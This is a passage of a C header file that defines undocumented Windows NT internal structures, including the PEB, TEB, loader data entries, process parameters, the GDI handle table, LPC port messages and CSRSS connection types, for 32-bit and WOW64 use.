GDI_HANDLE_TYPE_SHIFT)\r\n#define GDI_CLIENT_CLIENTOBJ_TYPE (GDI_CLIENTOBJ_TYPE << GDI_HANDLE_TYPE_SHIFT)\r\n#define GDI_CLIENT_DC_TYPE (GDI_DC_TYPE << GDI_HANDLE_TYPE_SHIFT)\r\n#define GDI_CLIENT_FONT_TYPE (GDI_LFONT_TYPE << GDI_HANDLE_TYPE_SHIFT)\r\n#define GDI_CLIENT_PALETTE_TYPE (GDI_PAL_TYPE << GDI_HANDLE_TYPE_SHIFT)\r\n#define GDI_CLIENT_REGION_TYPE (GDI_RGN_TYPE << GDI_HANDLE_TYPE_SHIFT)\r\n\r\n#define GDI_CLIENT_ALTDC_TYPE (GDI_CLIENT_DC_TYPE | GDI_ALTTYPE_1)\r\n#define GDI_CLIENT_DIBSECTION_TYPE (GDI_CLIENT_BITMAP_TYPE | GDI_ALTTYPE_1)\r\n#define GDI_CLIENT_EXTPEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_2)\r\n#define GDI_CLIENT_METADC16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_3)\r\n#define GDI_CLIENT_METAFILE_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_2)\r\n#define GDI_CLIENT_METAFILE16_TYPE (GDI_CLIENT_CLIENTOBJ_TYPE | GDI_ALTTYPE_1)\r\n#define GDI_CLIENT_PEN_TYPE (GDI_CLIENT_BRUSH_TYPE | GDI_ALTTYPE_1)\r\n\r\ntypedef struct _GDI_HANDLE_ENTRY\r\n{\r\n\tunion\r\n\t{\r\n\t\tPVOID Object;\r\n\t\tPVOID NextFree;\r\n\t};\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tUSHORT ProcessId;\r\n\t\t\tUSHORT Lock : 1;\r\n\t\t\tUSHORT Count : 15;\r\n\t\t};\r\n\t\tULONG Value;\r\n\t} Owner;\r\n\tUSHORT Unique;\r\n\tUCHAR Type;\r\n\tUCHAR Flags;\r\n\tPVOID UserPointer;\r\n} GDI_HANDLE_ENTRY, *PGDI_HANDLE_ENTRY;\r\n\r\ntypedef struct _GDI_SHARED_MEMORY\r\n{\r\n\tGDI_HANDLE_ENTRY Handles[GDI_MAX_HANDLE_COUNT];\r\n} GDI_SHARED_MEMORY, *PGDI_SHARED_MEMORY;\r\n\r\n#define FLS_MAXIMUM_AVAILABLE 128\r\n#define TLS_MINIMUM_AVAILABLE 64\r\n#define TLS_EXPANSION_SLOTS 1024\r\n\r\n#define DOS_MAX_COMPONENT_LENGTH 255\r\n#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5)\r\n\r\ntypedef struct _CURDIR\r\n{\r\n\tUNICODE_STRING DosPath;\r\n\tHANDLE Handle;\r\n} CURDIR, *PCURDIR;\r\n\r\n#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002\r\n#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR\r\n{\r\n\tUSHORT Flags;\r\n\tUSHORT Length;\r\n\tULONG TimeStamp;\r\n\tSTRING DosPath;\r\n} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;\r\n\r\n#define RTL_MAX_DRIVE_LETTERS 32\r\n#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS\r\n{\r\n\tULONG MaximumLength;\r\n\tULONG Length;\r\n\r\n\tULONG Flags;\r\n\tULONG DebugFlags;\r\n\r\n\tHANDLE ConsoleHandle;\r\n\tULONG ConsoleFlags;\r\n\tHANDLE StandardInput;\r\n\tHANDLE StandardOutput;\r\n\tHANDLE StandardError;\r\n\r\n\tCURDIR CurrentDirectory;\r\n\tUNICODE_STRING DllPath;\r\n\tUNICODE_STRING ImagePathName;\r\n\tUNICODE_STRING CommandLine;\r\n\tPVOID Environment;\r\n\r\n\tULONG StartingX;\r\n\tULONG StartingY;\r\n\tULONG CountX;\r\n\tULONG CountY;\r\n\tULONG CountCharsX;\r\n\tULONG CountCharsY;\r\n\tULONG FillAttribute;\r\n\r\n\tULONG WindowFlags;\r\n\tULONG ShowWindowFlags;\r\n\tUNICODE_STRING WindowTitle;\r\n\tUNICODE_STRING DesktopInfo;\r\n\tUNICODE_STRING ShellInfo;\r\n\tUNICODE_STRING RuntimeData;\r\n\tRTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\r\n\r\n\tULONG EnvironmentSize;\r\n\tULONG EnvironmentVersion;\r\n} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;\r\n\r\n#define WOW64_SYSTEM_DIRECTORY \"SysWOW64\"\r\n#define WOW64_SYSTEM_DIRECTORY_U L\"SysWOW64\"\r\n#define WOW64_X86_TAG \" (x86)\"\r\n#define WOW64_X86_TAG_U L\" (x86)\"\r\n\r\ntypedef enum _WOW64_SHARED_INFORMATION\r\n{\r\n\tSharedNtdll32LdrInitializeThunk = 0,\r\n\tSharedNtdll32KiUserExceptionDispatcher = 1,\r\n\tSharedNtdll32KiUserApcDispatcher = 2,\r\n\tSharedNtdll32KiUserCallbackDispatcher = 3,\r\n\tSharedNtdll32LdrHotPatchRoutine = 4,\r\n\tSharedNtdll32ExpInterlockedPopEntrySListFault = 5,\r\n\tSharedNtdll32ExpInterlockedPopEntrySListResume = 6,\r\n\tSharedNtdll32ExpInterlockedPopEntrySListEnd = 7,\r\n\tSharedNtdll32RtlUserThreadStart = 8,\r\n\tSharedNtdll32pQueryProcessDebugInformationRemote = 9,\r\n\tSharedNtdll32EtwpNotificationThread = 10,\r\n\tSharedNtdll32BaseAddress = 11,\r\n\tWow64SharedPageEntriesCount = 12\r\n} WOW64_SHARED_INFORMATION;\r\n\r\n// 21.12.2011 added\r\n#define SET_LAST_STATUS(S)NtCurrentTeb()->LastErrorValue = RtlNtStatusToDosError(NtCurrentTeb()->LastStatusValue = (ULONG)(S))\r\n// 21.12.2011 - end\r\n\r\n// 32-bit definitions\r\n\r\n#if (_MSC_VER < 1300) && !defined(_WINDOWS_)\r\ntypedef struct LIST_ENTRY32 {\r\n    DWORD Flink;\r\n    DWORD Blink;\r\n} LIST_ENTRY32;\r\ntypedef LIST_ENTRY32 *PLIST_ENTRY32;\r\n\r\ntypedef struct LIST_ENTRY64 {\r\n    ULONGLONG Flink;\r\n    ULONGLONG Blink;\r\n} LIST_ENTRY64;\r\ntypedef LIST_ENTRY64 *PLIST_ENTRY64;\r\n#endif\r\n\r\n#define WOW64_POINTER(Type) ULONG\r\n\r\ntypedef struct _PEB_LDR_DATA32\r\n{\r\n\tULONG Length;\r\n\tBOOLEAN Initialized;\r\n\tWOW64_POINTER(HANDLE) SsHandle;\r\n\tLIST_ENTRY32 InLoadOrderModuleList;\r\n\tLIST_ENTRY32 InMemoryOrderModuleList;\r\n\tLIST_ENTRY32 InInitializationOrderModuleList;\r\n\tWOW64_POINTER(PVOID) EntryInProgress;\r\n\tBOOLEAN ShutdownInProgress;\r\n\tWOW64_POINTER(HANDLE) ShutdownThreadId;\r\n} PEB_LDR_DATA32, *PPEB_LDR_DATA32;\r\n\r\n#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP32 FIELD_OFFSET( LDR_DATA_TABLE_ENTRY32, ForwarderLinks )\r\n\r\ntypedef struct _LDR_DATA_TABLE_ENTRY32\r\n{\r\n\tLIST_ENTRY32 InLoadOrderLinks;\r\n\tLIST_ENTRY32 InMemoryOrderLinks;\r\n\tLIST_ENTRY32 InInitializationOrderLinks;\r\n\tWOW64_POINTER(PVOID) DllBase;\r\n\tWOW64_POINTER(PVOID) EntryPoint;\r\n\tULONG SizeOfImage;\r\n\tUNICODE_STRING32 FullDllName;\r\n\tUNICODE_STRING32 BaseDllName;\r\n\tULONG Flags;\r\n\tUSHORT LoadCount;\r\n\tUSHORT TlsIndex;\r\n\tunion\r\n\t{\r\n\t\tLIST_ENTRY32 HashLinks;\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tWOW64_POINTER(PVOID) SectionPointer;\r\n\t\t\tULONG CheckSum;\r\n\t\t};\r\n\t};\r\n\tunion\r\n\t{\r\n\t\tULONG TimeDateStamp;\r\n\t\tWOW64_POINTER(PVOID) LoadedImports;\r\n\t};\r\n\tWOW64_POINTER(PVOID) EntryPointActivationContext;\r\n\tWOW64_POINTER(PVOID) PatchInformation;\r\n\tLIST_ENTRY32 ForwarderLinks;\r\n\tLIST_ENTRY32 ServiceTagLinks;\r\n\tLIST_ENTRY32 StaticLinks;\r\n\tWOW64_POINTER(PVOID) ContextInformation;\r\n\tWOW64_POINTER(ULONG_PTR) OriginalBase;\r\n\tLARGE_INTEGER LoadTime;\r\n} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;\r\n\r\ntypedef struct _CURDIR32\r\n{\r\n\tUNICODE_STRING32 DosPath;\r\n\tWOW64_POINTER(HANDLE) Handle;\r\n} CURDIR32, *PCURDIR32;\r\n\r\ntypedef struct _RTL_DRIVE_LETTER_CURDIR32\r\n{\r\n\tUSHORT Flags;\r\n\tUSHORT Length;\r\n\tULONG TimeStamp;\r\n\tSTRING32 DosPath;\r\n} RTL_DRIVE_LETTER_CURDIR32, *PRTL_DRIVE_LETTER_CURDIR32;\r\n\r\ntypedef struct _RTL_USER_PROCESS_PARAMETERS32\r\n{\r\n\tULONG MaximumLength;\r\n\tULONG Length;\r\n\r\n\tULONG Flags;\r\n\tULONG DebugFlags;\r\n\r\n\tWOW64_POINTER(HANDLE) ConsoleHandle;\r\n\tULONG ConsoleFlags;\r\n\tWOW64_POINTER(HANDLE) StandardInput;\r\n\tWOW64_POINTER(HANDLE) StandardOutput;\r\n\tWOW64_POINTER(HANDLE) StandardError;\r\n\r\n\tCURDIR32 CurrentDirectory;\r\n\tUNICODE_STRING32 DllPath;\r\n\tUNICODE_STRING32 ImagePathName;\r\n\tUNICODE_STRING32 CommandLine;\r\n\tWOW64_POINTER(PVOID) Environment;\r\n\r\n\tULONG StartingX;\r\n\tULONG StartingY;\r\n\tULONG CountX;\r\n\tULONG CountY;\r\n\tULONG CountCharsX;\r\n\tULONG CountCharsY;\r\n\tULONG FillAttribute;\r\n\r\n\tULONG WindowFlags;\r\n\tULONG ShowWindowFlags;\r\n\tUNICODE_STRING32 WindowTitle;\r\n\tUNICODE_STRING32 DesktopInfo;\r\n\tUNICODE_STRING32 ShellInfo;\r\n\tUNICODE_STRING32 RuntimeData;\r\n\tRTL_DRIVE_LETTER_CURDIR32 CurrentDirectories[RTL_MAX_DRIVE_LETTERS];\r\n\r\n\tULONG EnvironmentSize;\r\n\tULONG EnvironmentVersion;\r\n} RTL_USER_PROCESS_PARAMETERS32, *PRTL_USER_PROCESS_PARAMETERS32;\r\n\r\ntypedef struct _PEB32\r\n{\r\n\tBOOLEAN InheritedAddressSpace;\r\n\tBOOLEAN ReadImageFileExecOptions;\r\n\tBOOLEAN BeingDebugged;\r\n\tunion\r\n\t{\r\n\t\tBOOLEAN BitField;\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tBOOLEAN ImageUsesLargePages : 1;\r\n\t\t\tBOOLEAN IsProtectedProcess : 1;\r\n\t\t\tBOOLEAN IsLegacyProcess : 1;\r\n\t\t\tBOOLEAN IsImageDynamicallyRelocated : 1;\r\n\t\t\tBOOLEAN SkipPatchingUser32Forwarders : 1;\r\n\t\t\tBOOLEAN SpareBits : 3;\r\n\t\t};\r\n\t};\r\n\tWOW64_POINTER(HANDLE) Mutant;\r\n\r\n\tWOW64_POINTER(PVOID) ImageBaseAddress;\r\n\tWOW64_POINTER(PPEB_LDR_DATA) Ldr;\r\n\tWOW64_POINTER(PRTL_USER_PROCESS_PARAMETERS) ProcessParameters;\r\n\tWOW64_POINTER(PVOID) SubSystemData;\r\n\tWOW64_POINTER(PVOID) ProcessHeap;\r\n\tWOW64_POINTER(PRTL_CRITICAL_SECTION) FastPebLock;\r\n\tWOW64_POINTER(PVOID) AtlThunkSListPtr;\r\n\tWOW64_POINTER(PVOID) IFEOKey;\r\n\tunion\r\n\t{\r\n\t\tULONG CrossProcessFlags;\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tULONG ProcessInJob : 1;\r\n\t\t\tULONG ProcessInitializing : 1;\r\n\t\t\tULONG ProcessUsingVEH : 1;\r\n\t\t\tULONG ProcessUsingVCH : 1;\r\n\t\t\tULONG ProcessUsingFTH : 1;\r\n\t\t\tULONG ReservedBits0 : 27;\r\n\t\t};\r\n\t\tULONG EnvironmentUpdateCount;\r\n\t};\r\n\tunion\r\n\t{\r\n\t\tWOW64_POINTER(PVOID) KernelCallbackTable;\r\n\t\tWOW64_POINTER(PVOID) UserSharedInfoPtr;\r\n\t};\r\n\tULONG SystemReserved[1];\r\n\tULONG AtlThunkSListPtr32;\r\n\tWOW64_POINTER(PVOID) ApiSetMap;\r\n\tULONG TlsExpansionCounter;\r\n\tWOW64_POINTER(PVOID) TlsBitmap;\r\n\tULONG TlsBitmapBits[2];\r\n\tWOW64_POINTER(PVOID) ReadOnlySharedMemoryBase;\r\n\tWOW64_POINTER(PVOID) HotpatchInformation;\r\n\tWOW64_POINTER(PPVOID) ReadOnlyStaticServerData;\r\n\tWOW64_POINTER(PVOID) AnsiCodePageData;\r\n\tWOW64_POINTER(PVOID) OemCodePageData;\r\n\tWOW64_POINTER(PVOID) UnicodeCaseTableData;\r\n\r\n\tULONG NumberOfProcessors;\r\n\tULONG NtGlobalFlag;\r\n\r\n\tLARGE_INTEGER CriticalSectionTimeout;\r\n\tWOW64_POINTER(SIZE_T) HeapSegmentReserve;\r\n\tWOW64_POINTER(SIZE_T) HeapSegmentCommit;\r\n\tWOW64_POINTER(SIZE_T) HeapDeCommitTotalFreeThreshold;\r\n\tWOW64_POINTER(SIZE_T) HeapDeCommitFreeBlockThreshold;\r\n\r\n\tULONG NumberOfHeaps;\r\n\tULONG MaximumNumberOfHeaps;\r\n\tWOW64_POINTER(PPVOID) ProcessHeaps;\r\n\r\n\tWOW64_POINTER(PVOID) GdiSharedHandleTable;\r\n\tWOW64_POINTER(PVOID) ProcessStarterHelper;\r\n\tULONG GdiDCAttributeList;\r\n\r\n\tWOW64_POINTER(PRTL_CRITICAL_SECTION) LoaderLock;\r\n\r\n\tULONG OSMajorVersion;\r\n\tULONG OSMinorVersion;\r\n\tUSHORT OSBuildNumber;\r\n\tUSHORT OSCSDVersion;\r\n\tULONG OSPlatformId;\r\n\tULONG ImageSubsystem;\r\n\tULONG ImageSubsystemMajorVersion;\r\n\tULONG ImageSubsystemMinorVersion;\r\n\tWOW64_POINTER(ULONG_PTR) ImageProcessAffinityMask;\r\n\tGDI_HANDLE_BUFFER32 GdiHandleBuffer;\r\n\tWOW64_POINTER(PVOID) PostProcessInitRoutine;\r\n\r\n\tWOW64_POINTER(PVOID) TlsExpansionBitmap;\r\n\tULONG TlsExpansionBitmapBits[32];\r\n\r\n\tULONG SessionId;\r\n\r\n\t// Rest of structure not included.\r\n} PEB32, *PPEB32;\r\n\r\n#define GDI_BATCH_BUFFER_SIZE 310\r\n\r\ntypedef struct _GDI_TEB_BATCH32\r\n{\r\n\tULONG Offset;\r\n\tWOW64_POINTER(ULONG_PTR) HDC;\r\n\tULONG Buffer[GDI_BATCH_BUFFER_SIZE];\r\n} GDI_TEB_BATCH32, *PGDI_TEB_BATCH32;\r\n\r\n#if (_MSC_VER < 1300) && !defined(_WINDOWS_)\r\n//\r\n// 32 and 64 bit specific version for wow64 and the debugger\r\n//\r\ntypedef struct _NT_TIB32 {\r\n    DWORD ExceptionList;\r\n    DWORD StackBase;\r\n    DWORD StackLimit;\r\n    DWORD SubSystemTib;\r\n    union {\r\n        DWORD FiberData;\r\n        DWORD Version;\r\n    };\r\n    DWORD ArbitraryUserPointer;\r\n    DWORD Self;\r\n} NT_TIB32, *PNT_TIB32;\r\n\r\ntypedef struct _NT_TIB64 {\r\n    DWORD64 ExceptionList;\r\n    DWORD64 StackBase;\r\n    DWORD64 StackLimit;\r\n    DWORD64 SubSystemTib;\r\n    union {\r\n        DWORD64 FiberData;\r\n        DWORD Version;\r\n    };\r\n    DWORD64 ArbitraryUserPointer;\r\n    DWORD64 Self;\r\n} NT_TIB64, *PNT_TIB64;\r\n#endif\r\n\r\ntypedef struct _TEB32\r\n{\r\n\tNT_TIB32 NtTib;\r\n\r\n\tWOW64_POINTER(PVOID) EnvironmentPointer;\r\n\tCLIENT_ID32 ClientId;\r\n\tWOW64_POINTER(PVOID) ActiveRpcHandle;\r\n\tWOW64_POINTER(PVOID) ThreadLocalStoragePointer;\r\n\tWOW64_POINTER(PPEB) ProcessEnvironmentBlock;\r\n\r\n\tULONG LastErrorValue;\r\n\tULONG CountOfOwnedCriticalSections;\r\n\tWOW64_POINTER(PVOID) CsrClientThread;\r\n\tWOW64_POINTER(PVOID) Win32ThreadInfo;\r\n\tULONG User32Reserved[26];\r\n\tULONG UserReserved[5];\r\n\tWOW64_POINTER(PVOID) WOW32Reserved;\r\n\tLCID CurrentLocale;\r\n\tULONG FpSoftwareStatusRegister;\r\n\tWOW64_POINTER(PVOID) SystemReserved1[54];\r\n\tNTSTATUS ExceptionCode;\r\n\tWOW64_POINTER(PVOID) ActivationContextStackPointer;\r\n\tBYTE SpareBytes[36];\r\n\tULONG TxFsContext;\r\n\r\n\tGDI_TEB_BATCH32 GdiTebBatch;\r\n\tCLIENT_ID32 RealClientId;\r\n\tWOW64_POINTER(HANDLE) GdiCachedProcessHandle;\r\n\tULONG GdiClientPID;\r\n\tULONG GdiClientTID;\r\n\tWOW64_POINTER(PVOID) GdiThreadLocalInfo;\r\n\tWOW64_POINTER(ULONG_PTR) Win32ClientInfo[62];\r\n\tWOW64_POINTER(PVOID) glDispatchTable[233];\r\n\tWOW64_POINTER(ULONG_PTR) glReserved1[29];\r\n\tWOW64_POINTER(PVOID) glReserved2;\r\n\tWOW64_POINTER(PVOID) glSectionInfo;\r\n\tWOW64_POINTER(PVOID) glSection;\r\n\tWOW64_POINTER(PVOID) glTable;\r\n\tWOW64_POINTER(PVOID) glCurrentRC;\r\n\tWOW64_POINTER(PVOID) glContext;\r\n\r\n\tNTSTATUS LastStatusValue;\r\n\tUNICODE_STRING32 StaticUnicodeString;\r\n\tWCHAR StaticUnicodeBuffer[261];\r\n\r\n\tWOW64_POINTER(PVOID) DeallocationStack;\r\n\tWOW64_POINTER(PVOID) TlsSlots[64];\r\n\tLIST_ENTRY32 TlsLinks;\r\n} TEB32, *PTEB32;\r\n\r\ntypedef\r\n\tVOID\r\n\t(*PPS_POST_PROCESS_INIT_ROUTINE) (\r\n\tVOID\r\n\t);\r\n\r\ntypedef struct _TIB\r\n{\r\n\tstruct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;\r\n\tPVOID StackBase;\r\n\tPVOID StackLimit;\r\n\tPVOID SubSystemTib;\r\n\r\n\tunion\r\n\t{\r\n\t\tPVOID FiberData;\r\n\t\tULONG Version;\r\n\t};\r\n\r\n\tPVOID ArbitraryUserPointer;\r\n\tstruct _TIB *Self;\r\n} TIB;\r\ntypedef TIB *PTIB;\r\n\r\n//\r\n// inifile mapping\r\n//\r\n\r\ntypedef struct _NLS_USER_INFO\r\n{\r\n\r\n\t/*<thisrel this+0x0>*/ /*|0xa0|*/ WCHAR iCountry[80];\r\n\t/*<thisrel this+0xa0>*/ /*|0xa0|*/ WCHAR sCountry[80];\r\n\t/*<thisrel this+0x140>*/ /*|0xa0|*/ WCHAR sList[80];\r\n\t/*<thisrel this+0x1e0>*/ /*|0xa0|*/ WCHAR iMeasure[80];\r\n\t/*<thisrel this+0x280>*/ /*|0xa0|*/ WCHAR iPaperSize[80];\r\n\t/*<thisrel this+0x320>*/ /*|0xa0|*/ WCHAR sDecimal[80];\r\n\t/*<thisrel this+0x3c0>*/ /*|0xa0|*/ WCHAR sThousand[80];\r\n\t/*<thisrel this+0x460>*/ /*|0xa0|*/ WCHAR sGrouping[80];\r\n\t/*<thisrel this+0x500>*/ /*|0xa0|*/ WCHAR iDigits[80];\r\n\t/*<thisrel this+0x5a0>*/ /*|0xa0|*/ WCHAR iLZero[80];\r\n\t/*<thisrel this+0x640>*/ /*|0xa0|*/ WCHAR iNegNumber[80];\r\n\t/*<thisrel this+0x6e0>*/ /*|0xa0|*/ WCHAR sNativeDigits[80];\r\n\t/*<thisrel this+0x780>*/ /*|0xa0|*/ WCHAR iDigitSubstitution[80];\r\n\t/*<thisrel this+0x820>*/ /*|0xa0|*/ WCHAR sCurrency[80];\r\n\t/*<thisrel this+0x8c0>*/ /*|0xa0|*/ WCHAR sMonDecSep[80];\r\n\t/*<thisrel this+0x960>*/ /*|0xa0|*/ WCHAR sMonThouSep[80];\r\n\t/*<thisrel this+0xa00>*/ /*|0xa0|*/ WCHAR sMonGrouping[80];\r\n\t/*<thisrel this+0xaa0>*/ /*|0xa0|*/ WCHAR iCurrDigits[80];\r\n\t/*<thisrel this+0xb40>*/ /*|0xa0|*/ WCHAR iCurrency[80];\r\n\t/*<thisrel this+0xbe0>*/ /*|0xa0|*/ WCHAR iNegCurr[80];\r\n\t/*<thisrel this+0xc80>*/ /*|0xa0|*/ WCHAR sPosSign[80];\r\n\t/*<thisrel this+0xd20>*/ /*|0xa0|*/ WCHAR sNegSign[80];\r\n\t/*<thisrel this+0xdc0>*/ /*|0xa0|*/ WCHAR sTimeFormat[80];\r\n\t/*<thisrel this+0xe60>*/ /*|0xa0|*/ WCHAR s1159[80];\r\n\t/*<thisrel this+0xf00>*/ /*|0xa0|*/ WCHAR s2359[80];\r\n\t/*<thisrel this+0xfa0>*/ /*|0xa0|*/ WCHAR sShortDate[80];\r\n\t/*<thisrel this+0x1040>*/ /*|0xa0|*/ WCHAR sYearMonth[80];\r\n\t/*<thisrel this+0x10e0>*/ /*|0xa0|*/ WCHAR sLongDate[80];\r\n\t/*<thisrel this+0x1180>*/ /*|0xa0|*/ WCHAR iCalType[80];\r\n\t/*<thisrel this+0x1220>*/ /*|0xa0|*/ WCHAR iFirstDay[80];\r\n\t/*<thisrel this+0x12c0>*/ /*|0xa0|*/ WCHAR iFirstWeek[80];\r\n\t/*<thisrel this+0x1360>*/ /*|0xa0|*/ WCHAR sLocale[80];\r\n\t/*<thisrel this+0x1400>*/ /*|0xaa|*/ WCHAR sLocaleName[85];\r\n\t/*<thisrel this+0x14ac>*/ /*|0x4|*/ ULONG UserLocaleId;\r\n\t/*<thisrel this+0x14b0>*/ /*|0x8|*/ struct _LUID InteractiveUserLuid;\r\n\t/*<thisrel this+0x14b8>*/ /*|0x44|*/ UCHAR InteractiveUserSid[68];\r\n\t/*<thisrel this+0x14fc>*/ /*|0x4|*/ ULONG ulCacheUpdateCount;\r\n} NLS_USER_INFO, *PNLS_USER_INFO;\t// <size 0x1500>\r\n\r\ntypedef struct _INIFILE_MAPPING_TARGET\r\n{\r\n\tstruct _INIFILE_MAPPING_TARGET* Next;\r\n\tstruct _UNICODE_STRING RegistryPath;\r\n} INIFILE_MAPPING_TARGET, *PINIFILE_MAPPING_TARGET;\r\n\r\ntypedef struct _INIFILE_MAPPING_VARNAME\r\n{\r\n\tstruct _INIFILE_MAPPING_VARNAME* Next;\r\n\tUNICODE_STRING Name;\r\n\tULONG MappingFlags;\r\n\tstruct _INIFILE_MAPPING_TARGET* MappingTarget;\r\n} INIFILE_MAPPING_VARNAME, *PINIFILE_MAPPING_VARNAME;\r\n\r\ntypedef struct _INIFILE_MAPPING_APPNAME\r\n{\r\n\tstruct _INIFILE_MAPPING_APPNAME* Next;\r\n\tUNICODE_STRING Name;\r\n\tstruct _INIFILE_MAPPING_VARNAME* VariableNames;\r\n\tstruct _INIFILE_MAPPING_VARNAME* DefaultVarNameMapping;\r\n} INIFILE_MAPPING_APPNAME, *PINIFILE_MAPPING_APPNAME;\r\n\r\ntypedef struct _INIFILE_MAPPING_FILENAME\r\n{\r\n\tstruct _INIFILE_MAPPING_FILENAME* Next;\r\n\tUNICODE_STRING Name;\r\n\tstruct _INIFILE_MAPPING_APPNAME* ApplicationNames;\r\n\tstruct _INIFILE_MAPPING_APPNAME* DefaultAppNameMapping;\r\n} INIFILE_MAPPING_FILENAME, *PINIFILE_MAPPING_FILENAME;\r\n\r\ntypedef struct _INIFILE_MAPPING\r\n{\r\n\tstruct _INIFILE_MAPPING_FILENAME* FileNames;\r\n\tstruct _INIFILE_MAPPING_FILENAME* DefaultFileNameMapping;\r\n\tstruct _INIFILE_MAPPING_FILENAME* WinIniFileMapping;\r\n\tULONG Reserved;\r\n} INIFILE_MAPPING, *PINIFILE_MAPPING;\r\n\r\n#define PORT_CONNECT (0x0001)\r\n\r\n#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1)\r\n\r\ntypedef struct _PORT_MESSAGE\r\n{\r\n\tunion {\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tCSHORT DataLength;\r\n\t\t\tCSHORT TotalLength;\r\n\t\t} s1;\r\n\r\n\t\tULONG Length;\r\n\r\n\t} u1;\r\n\r\n\tunion\r\n\t{\r\n\t\tstruct\r\n\t\t{\r\n\t\t\tCSHORT Type;\r\n\t\t\tCSHORT DataInfoOffset;\r\n\t\t} s2;\r\n\t\tULONG ZeroInit;\r\n\t} u2;\r\n\r\n\tunion\r\n\t{\r\n\t\tLPC_CLIENT_ID ClientId;\r\n\t\tdouble DoNotUseThisField;       // Force quadword alignment\r\n\t};\r\n\r\n\tULONG MessageId;\r\n\tunion\r\n\t{\r\n\t\tLPC_SIZE_T ClientViewSize;          // Only valid on LPC_CONNECTION_REQUEST message\r\n\t\tULONG CallbackId;                   // Only valid on LPC_REQUEST message\r\n\t};\r\n\t//  UCHAR Data[];\r\n} PORT_MESSAGE, *PPORT_MESSAGE;\r\n\r\ntypedef struct _PORT_DATA_ENTRY {\r\n\tLPC_PVOID Base;\r\n\tULONG Size;\r\n} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY;\r\n\r\ntypedef struct _PORT_DATA_INFORMATION {\r\n\tULONG CountDataEntries;\r\n\tPORT_DATA_ENTRY DataEntries[1];\r\n} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION;\r\n\r\n\t//\r\n\t// csrss & csrsrv related\r\n\t//\r\n\r\n\ttypedef ULONG CSR_API_NUMBER;\r\n\r\n#define CSR_API_PORT_NAME L\"ApiPort\"\r\n\r\n\t//\r\n\t// This structure is filled in by the client prior to connecting to the CSR\r\n\t// server.  The CSR server will fill in the OUT fields if prior to accepting\r\n\t// the connection.\r\n\t//\r\n\r\n\ttypedef struct _CSR_API_CONNECTINFO {\r\n\t\tHANDLE ObjectDirectory;\r\n\t\tPVOID SharedSectionBase;\r\n\t\tPVOID SharedStaticServerData;\r\n\t\tPVOID SharedSectionHeap;\r\n\t\tULONG DebugFlags;\r\n\t\tULONG SizeOfPebData;\r\n\t\tULONG SizeOfTebData;\r\n\t\tULONG NumberOfServerDllNames;\r\n\t\tHANDLE ServerProcessId;\r\n\t} CSR_API_CONNECTINFO, *PCSR_API_CONNECTINFO;\r\n\r\n\t//\r\n\t// Message format for messages sent from the client to the server\r\n\t//\r\n\r\n\ttypedef struct _CSR_CLIENTCONNECT_MSG\r\n\t{\r\n\t\tULONG ServerDllIndex;\r\n\t\tPVOID ConnectionInformation;\r\n\t\tULONG ConnectionInformationLength;\r\n\t} CSR_CLIENTCONNECT_MSG, *PCSR_CLIENTCONNECT_MSG;\t// <size 0xc>\r\n\r\n#define CSR_NORMAL_PRIORITY_CLASS   0x00000010\r\n#define CSR_IDLE_PRIORITY_CLASS     0x00000020\r\n#define CSR_HIGH_PRIORITY_CLASS     0x00000040\r\n#define CSR_REALTIME_PRIORITY_CLASS 0x00000080\r\n\r\n\ttypedef struct _CSR_CAPTURE_HEADER {\r\n\t\tULONG Length;\r\n\t\tPVOID RelatedCaptureBuffer;\r\n\t\tULONG CountMessagePointers;\r\n\t\tPCHAR FreeSpace;\r\n\t\tULONG_PTR MessagePointerOffsets[1]; // Offsets within CSR_API_MSG of pointers\r\n\t} CSR_CAPTURE_HEADER, *PCSR_CAPTURE_HEADER;\r\n\r\n#define WINSS_OBJECT_DIRECTORY_NAME     L\"\\\\Windows\"\r\n\r\n#define CSRSRV_SERVERDLL_INDEX          0\r\n#define CSRSRV_FIRST_API_NUMBER         0\r\n\r\n#define BASESRV_SERVERDLL_INDEX         1\r\n#define BASESRV_FIRST_API_NUMBER        0\r\n\r\n#define CONSRV_SERVERDLL_INDEX          2\r\n#define CONSRV_FIRST_API_NUMBER         512\r\n\r\n#define USERSRV_SERVERDLL_INDEX         3\r\n#define USERSRV_FIRST_API_NUMBER        1024\r\n\r\n#define CSR_MAKE_API_NUMBER( DllIndex, ApiIndex ) \\\r\n\t(CSR_API_NUMBER)(((DllIndex) << 16) | (ApiIndex))\r\n\r\n#define CSR_APINUMBER_TO_SERVERDLLINDEX( ApiNumber ) \\\r\n\t((ULONG)((ULONG)(ApiNumber) >> 16))\r\n\r\n#define CSR_APINUMBER_TO_APITABLEINDEX( ApiNumber ) \\\r\n\t((ULONG)((USHORT)(ApiNumber)))\r\n\t\r\ntypedef struct _CSR_NT_SESSION\r\n{\r\n\tstruct _LIST_ENTRY SessionLink;\r\n\tULONG SessionId;\r\n\tULONG ReferenceCount;\r\n\tSTRING RootDirectory;\r\n} CSR_NT_SESSION, *PCSR_NT_SESSION;\r\n\r\ntypedef struct _CSR_API_MSG\r\n{\r\n\tPORT_MESSAGE 